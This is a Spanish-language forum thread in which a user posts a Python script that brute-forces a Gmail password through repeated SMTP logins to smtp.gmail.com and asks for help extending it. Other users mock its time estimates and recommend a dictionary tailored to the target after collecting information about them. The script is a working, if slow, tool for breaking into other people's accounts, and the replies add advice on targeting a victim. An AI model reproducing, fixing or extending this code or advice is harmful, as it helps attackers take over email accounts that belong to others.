[Python] Crackear gmail con script

Iniciado por <Trocutor>, 14 Junio 2017, 07:56 AM

0 Miembros y 1 Visitante están viendo este tema.

<Trocutor>

Buenas, el otro dia vi una script "creada" por un usuario del foro y la verdad esque no es que fuese muy bien y le he hecho unas cuantas modificaciones:
Código (python) [Seleccionar]
#! /usr/bin/env python
#-*- coding: utf-8 -*-

import smtplib
import sys
import os
import itertools


print """
__________                                               .___
\______   \_____    ______ ________  _  _____________  __| _/
|     ___/\__  \  /  ___//  ___/\ \/ \/ /  _ \_  __ \/ __ |
|    |     / __ \_\___ \ \___ \  \     (  <_> )  | \/ /_/ |
|____|    (____  /____  >____  >  \/\_/ \____/|__|  \____ |
               \/     \/     \/                          \/
_________                       __                          
\_   ___ \____________    ____ |  | __ ___________          
/    \  \/\_  __ \__  \ _/ ___\|  |/ // __ \_  __ \          
\     \____|  | \// __ \\  \___|    <\  ___/|  | \/          
\______  /|__|  (____  /\___  >__|_ \\___  >__|            
       \/            \/     \/     \/    \/          """

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

print "Te doy la bienvenida y enhorabuena si estas usando esto, este es el programa mas avanzado de cracking de passwords de cualquier sitio web con infinitos intentos de contraseña. ESTE PROGRAMA HA SIDO CREADO POR 'JorgyMaster'"


user = raw_input("Correo a crackear")

# Minusculas abcdefghijklmnopqrstuvwxyz
# Mayusculas ABCDEFGHIJKLMNOPQRSTUVWXYZ
# Numeros 1234567890
# Especiales !"#$%&/()=?¡*[_:,;.-'¿

longitud = 8 #<----Aqui se podria poner para que pruebe contraseñas desde 1 caracter hasta los que tu quieras , pero he probado con range y me da error, si alguien puede dejar en el post como seria....
arreglo = list('Introduce los caracteres que creas que aparezcan, aqui')
combinaciones = itertools.product(arreglo, repeat=longitud)

for i in combinaciones:
password = ''.join(i)

try:
smtpserver.login(user, password)
print '----------------------CONTRASEÑA ENCONTRADA-------------------'
print 'La contraseña es: ' + password
break;
except smtplib.SMTPAuthenticationError:
print "Probando con la conraseña: " + password

sys.exit()



longitud = 8 #<----Aqui se podria poner para que pruebe contraseñas desde 1 caracter hasta los que tu quieras , pero he probado con range y me da error, si alguien puede dejar en el post como seria.... <--- Esto es una linea de codigo pero como ya he dicho nose como decirle que pruebe con una longitud de1 hasta 20 por ejemplo, ALGUIEN ME LO PODRIA DEJAR ABAJO?

Si tienes un bueno ordenador y alguien consigue poner lo de que pruebe contraseñas de 1  hasta 20 tendrias CUALQUIER contraseña en maximo 1 semana y 3 dias trabajando a pleno rendimiento







engel lex

primero que nada, este prorama a pesar de ser "creado por ti" (en realidad solo decorado) pertenece en idea a otra persona que merece el credito por exponerlo

segundo, claramente no conoces las matemáticas involucradas en fuerza bruta y por que la misma es inutil

CitarSi tienes un bueno ordenador y alguien consigue poner lo de que pruebe contraseñas de 1  hasta 20 tendrias CUALQUIER contraseña en maximo 1 semana y 3 dias trabajando a pleno rendimiento

supongamos mayúsculas, minusculas y numeros, 62 simbolos y demos 2 para redondear a 64... supongamos que el servidor responde a 1.000.000 de solicitudes por segundo tardarías solo en 7 digitos 3 años de calculo en plano... y seamos sinceros, el servidor no te permitirá más de una decena por segundo, así que correr 4 digitos, podría tomar año y medio...



no se de donde sacaste esa locura
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

<Trocutor>

Cita de: engel lex en 14 Junio 2017, 08:06 AM
primero que nada, este prorama a pesar de ser "creado por ti" (en realidad solo decorado) pertenece en idea a otra persona que merece el credito por exponerlo

segundo, claramente no conoces las matemáticas involucradas en fuerza bruta y por que la misma es inutil

supongamos mayúsculas, minusculas y numeros, 62 simbolos y demos 2 para redondear a 64... supongamos que el servidor responde a 1.000.000 de solicitudes por segundo tardarías solo en 7 digitos 3 años de calculo en plano... y seamos sinceros, el servidor no te permitirá más de una decena por segundo, así que correr 4 digitos, podría tomar año y medio...



no se de donde sacaste esa locura


Hay una script hace 3 dias , yo la modifiqué

madoko

Engel_lex se refiere a eso, a que hagas mención del nick del usuario que hizo el primer programa y si es un post de este foro, que dejes un enlace de manera que le reconozcas su trabajo.

Aparte como también comenta los cálculos de tiempo que tardarías en sacar una contraseña están mal hechos.

Creo que sería mucho mejor llamar a un diccionario desde python hecho especificamente para la cuenta que desearas "asaltar" tras haber hecho algo de recopilación de datos

engel lex

Por eso es que el otro código es mucho ms eficiente que este :s básicamente lo que hiciste fue que agarraste un cortador láser y lo estás usando como martillo y a demás afirmando que es más eficiente
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

<Trocutor>

Cita de: madoko en 14 Junio 2017, 15:31 PM
Engel_lex se refiere a eso, a que hagas mención del nick del usuario que hizo el primer programa y si es un post de este foro, que dejes un enlace de manera que le reconozcas su trabajo.

Aparte como también comenta los cálculos de tiempo que tardarías en sacar una contraseña están mal hechos.

Creo que sería mucho mejor llamar a un diccionario desde python hecho especificamente para la cuenta que desearas "asaltar" tras haber hecho algo de recopilación de datos


Ese usuario no creo la script , estaba en ingles y la traduje tambien

<Trocutor>

Cita de: engel lex en 14 Junio 2017, 17:24 PM
Por eso es que el otro código es mucho ms eficiente que este :s básicamente lo que hiciste fue que agarraste un cortador láser y lo estás usando como martillo y a demás afirmando que es más eficiente


Y entonces como seria mas eficiente si el toro se paraba al probar cada contraseñ?

engel lex

Citar
Y entonces como seria mas eficiente si el toro se paraba al probar cada contraseñ?

son cositas que se hacen para que no cualquiera sin conocimiento lo use XD

pero de resto usar diccionario, suponiendo que consigues uno con 50.000.000 de terminos, es más probable que uno de esos 50 millones sea la contraseña a que sea algo comrpendido entre aaaaaaa y aaFaaaa (aproximadamente la posibilidad 50 millones)
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.